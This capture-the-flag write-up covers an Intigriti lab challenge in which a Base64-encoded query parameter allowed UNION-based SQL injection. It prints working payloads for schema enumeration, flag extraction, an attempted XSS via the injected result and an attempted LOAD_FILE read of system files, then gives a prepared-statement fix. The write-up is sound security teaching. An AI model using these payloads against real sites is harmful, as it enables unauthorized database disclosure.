Intigriti September 2026 Challenge Writeup

Introduction

Hello,

This is my writeup for the Intigriti September 2026 challenge.

The challenge was hosted at:

https://challenge-0926.challenges.intigriti.io/

The app was a small Critter Gallery. It showed animals such as a fox, panda, lion and penguin. Clicking an animal opened its description.

The request looked harmless at first:

/challenge.php?pic=Zm94

But Zm94 is Base64 for fox. The server decoded this value and used it inside a database query without proper parameterization.

That gave me a one-column UNION SQL injection. I used it to enumerate the database, find the secret table and read the flag.

I also tried to chain the SQL injection with XSS, local file read, LFI, RFI and RCE. Those extra chains did not work. I am including the tests because they show the real impact and the security boundaries around the bug.


TL;DR

The pic query parameter was Base64-decoded and then placed into a SQL query.

This payload confirmed a reflected UNION position:

' UNION SELECT 'SQLI_TEST' -- 

I found the secret_vault table, enumerated its id and note columns, and selected the flag from note.

The confirmed chain was:

Base64-encoded pic value
        ↓
unsafe SQL query
        ↓
one-column UNION injection
        ↓
database schema enumeration
        ↓
secret_vault.note
        ↓
challenge flag

The UNION result was HTML-escaped, so the SQLi-to-XSS idea was blocked. The database user also had only SELECT access and no FILE privilege, so file read and RCE were not demonstrated.


Understanding the pic parameter

When I clicked the fox card, the browser opened:

https://challenge-0926.challenges.intigriti.io/challenge.php?pic=Zm94

I decoded the value:

printf 'Zm94' | base64 -d

The result was:

fox

This is the first important lesson. Base64 is encoding, not security. It only changes how a value looks. It does not sanitize quotes, SQL syntax or HTML.

If I wanted to send this decoded payload:

' OR 1=1 -- 

I only had to Base64-encode it before putting it in the pic parameter.


Confirming the SQL injection

I started with a true and false condition.

True condition

Decoded payload:

' OR 1=1 -- 

Base64 value:

JyBPUiAxPTEgLS0g

The page returned all eight animal descriptions.

False condition

Decoded payload:

' OR 1=2 -- 

Base64 value:

JyBPUiAxPTIgLS0g

This time the detail section was empty.

The only change was the boolean condition. The different results confirmed that the decoded value was changing the SQL query.

The space after -- is important because MySQL requires whitespace after this comment marker.


Finding the reflected UNION position

Next, I used a harmless marker:

' UNION SELECT 'SQLI_TEST' -- 

Base64 value:

JyBVTklPTiBTRUxFQ1QgJ1NRTElfVEVTVCcgLS0g

The page displayed:

SQLI_TEST

It appeared in the animal description area.

This showed that the original result had one selected column and the first UNION output position was reflected on the page.

I call it the reflected UNION output position. It is more accurate than calling it a vulnerable database column because I was controlling the result returned by the UNION query.


Database version and name

I checked the database version:

' UNION SELECT version() -- 

The response was:

8.0.46

Then I checked the current database:

' UNION SELECT database() -- 

The response was:

critter_gallery

Now I knew the backend was MySQL 8.0.46 and the application database was critter_gallery.


Finding the tables

I queried information_schema.tables for the current database:

' UNION SELECT GROUP_CONCAT(table_name)
  FROM information_schema.tables
  WHERE table_schema=database() -- 

I sent the payload on one line. Its Base64 value was:

JyBVTklPTiBTRUxFQ1QgR1JPVVBfQ09OQ0FUKHRhYmxlX25hbWUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAtLSA=

The application returned:

animals,secret_vault

animals belonged to the visible gallery. secret_vault was the interesting table.


Finding the columns

I enumerated the columns inside secret_vault:

' UNION SELECT GROUP_CONCAT(column_name)
  FROM information_schema.columns
  WHERE table_schema=database()
  AND table_name='secret_vault' -- 

The response was:

id,note

The flag was probably stored in the note column.


Reading the flag

The final decoded payload was:

' UNION SELECT note FROM secret_vault -- 

Base64 value:

JyBVTklPTiBTRUxFQ1Qgbm90ZSBGUk9NIHNlY3JldF92YXVsdCAtLSA=

Final request:

https://challenge-0926.challenges.intigriti.io/challenge.php?pic=JyBVTklPTiBTRUxFQ1Qgbm90ZSBGUk9NIHNlY3JldF92YXVsdCAtLSA%3D

The page returned:

INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}

That completed the challenge.


Trying to chain SQL injection with XSS

This part reminded me of my old article, XSS via SQL Injection.

That technique works when a UNION result is inserted into a page without HTML encoding. The browser parses the database result as real HTML, and an event handler such as onerror can execute JavaScript.

I tested the same idea here.

Decoded payload:

' UNION SELECT '<img src=x onerror=alert(document.domain)>' -- 

Base64 value:

JyBVTklPTiBTRUxFQ1QgJzxpbWcgc3JjPXggb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPicgLS0g

The page displayed this:

&lt;img src=x onerror=alert(document.domain)&gt;

The important part is &lt; and &gt;. The server encoded the angle brackets, so the browser treated the complete payload as text.

I also checked the live browser DOM. There was no injected <img> element and no JavaScript execution. The decoded pic value reflected in the heading was escaped too.

So this was not XSS.

Printing an XSS payload on a page is not enough. The browser must create an HTML element and execute the JavaScript. Here, output encoding stopped that step.

What about stored XSS?

Stored XSS would require me to write a payload into an animal name or description and then make another page render it unsafely.

The database account had only SELECT access to the application schema. It could not update the animal records. I also did not find a separate write feature in the application.

So stored XSS was not reachable through this SQL injection.


Trying SQL-assisted file read

MySQL SQL injection can sometimes be chained with LOAD_FILE() to read a local server file.

This is not the same as PHP LFI. It is a database file-read primitive, and it requires the MySQL account to have the FILE privilege.

I used a clear fallback marker:

' UNION SELECT IFNULL(LOAD_FILE('/etc/hostname'),'FILE_READ_BLOCKED') -- 

The result was:

FILE_READ_BLOCKED

I then checked the database identity and privileges.

Current database user:

gallery@%

Global privilege:

USAGE

Application schema privilege:

critter_gallery:SELECT

The MySQL account did not have the FILE privilege, so LOAD_FILE() returned NULL.

The server also had this restriction:

@@secure_file_priv = /var/lib/mysql-files/

Both controls reduced the impact. I could read database rows, but I could not read arbitrary operating system files.


Checking for LFI and RFI

Local File Inclusion and Remote File Inclusion need an application function such as include() or require() to treat attacker input as a file path.

The pic value in this application reached the database lookup. It did not reach a file include.

I checked local wrapper-style values such as:

php://filter/convert.base64-encode/resource=challenge.php

and:

data://text/plain,INCLUDE_MARKER

The application only treated them as animal names. It did not return source code and it did not include the marker as file content.

I found no remote include or URL-fetching sink either. Sending a remote URL as the pic value or as SQL output would only make it text. It would not force the server to fetch or execute it.

So LFI and RFI were not present in the tested path.


Checking for RCE

For SQL injection to become remote code execution, another dangerous capability must exist.

Common examples are:

  • MySQL FILE privilege plus a writable executable web directory
  • a dangerous database user-defined function
  • stacked statements plus database write privileges
  • an unsafe template engine
  • or an application sink that passes the result to a shell

I did not have any of these primitives.

The database user had only read access to critter_gallery. It had no FILE, INSERT, UPDATE or CREATE privilege. LOAD_FILE() was blocked. I found no shell or template execution sink in the page.

I did not claim RCE because I could not execute a command.

This is an important bug bounty lesson. A theoretical path is not a confirmed vulnerability. Every step in the chain needs evidence.


Final result of the chain tests

ChainWhat I observedResult
Base64 input → UNION SQLiBoolean and UNION payloads changed the database resultConfirmed
SQLi → flag disclosuresecret_vault.note returned the flagConfirmed
SQLi → XSSHTML was escaped and the browser created no injected elementBlocked
SQLi → SQL file readLOAD_FILE() returned NULL and the account had no FILE privilegeBlocked
SQLi → LFI/RFINo application file-include or URL-fetching sink existedNot present
SQLi → RCERead-only database user and no execution primitiveNot demonstrated

Root cause

The application trusted Base64 as if it made the input safe.

The server decoded the pic value and used the result in a SQL query without a prepared statement. This allowed a single quote to end the intended string and a UNION query to control the selected result.

The vulnerable behavior was consistent with a query shaped like this:

SELECT description FROM animals WHERE name = '$decodedPic'

This example shows the likely query shape from the observed behavior. It is not copied application source code.

The application did correctly HTML-encode the returned value. That separate control prevented the SQL injection from becoming XSS.

The least-privileged database user also prevented file access and data modification. This is a good example of defence in depth. The main injection bug existed, but other controls stopped several larger chains.


Impact

An unauthenticated visitor could change the SQL query and read data available to the application database account.

In the challenge, this exposed:

  • the database version and name
  • table names
  • column names
  • data from the hidden secret_vault table
  • and the challenge flag

The practical impact was unauthorized database disclosure.

I did not increase the impact to XSS, file read or RCE because those chains were blocked or absent.


How to fix it

The main fix is a prepared statement.

The Base64 value should be decoded strictly, validated and passed to SQL as a bound parameter. It must never be joined into SQL text.

$decoded = base64_decode($_GET['pic'] ?? '', true);

if ($decoded === false) {
    exit('Invalid input');
}

$allowed = [
    'fox',
    'panda',
    'lion',
    'penguin',
    'otter',
    'koala',
    'owl',
    'tiger'
];

if (!in_array($decoded, $allowed, true)) {
    exit('Unknown animal');
}

$statement = $pdo->prepare(
    'SELECT description FROM animals WHERE name = ?'
);
$statement->execute([$decoded]);

The application should also continue using context-aware HTML output encoding. That control successfully stopped the XSS attempt.

Finally, the database account should remain least-privileged. Its read-only access reduced the possible damage after the SQL injection.


Lessons learned

  • Base64 is encoding, not sanitization.
  • Always decode and inspect parameters that look encoded.
  • A reflected UNION position can make database enumeration simple.
  • SQL injection does not automatically mean XSS, LFI, RFI or RCE.
  • A payload displayed as text is not XSS.
  • Every link in a vulnerability chain needs its own proof.
  • Failed tests are useful because they show the real security boundary.
  • Report the strongest impact you can reproduce, but do not exaggerate it.

Final thoughts

This challenge started with one Base64 value and ended with full read access to the data available to the application database user.

The valid chain was short but complete: decode the value, confirm the SQL injection, find the reflected UNION position, enumerate the schema and read the secret.

The extra tests were just as useful. HTML encoding stopped XSS. Database least privilege stopped file access and stored payloads. The application had no include or command-execution sink.

That is the difference between a possible chain and a proven chain.

Thanks to Intigriti and the challenge creator for another useful lab.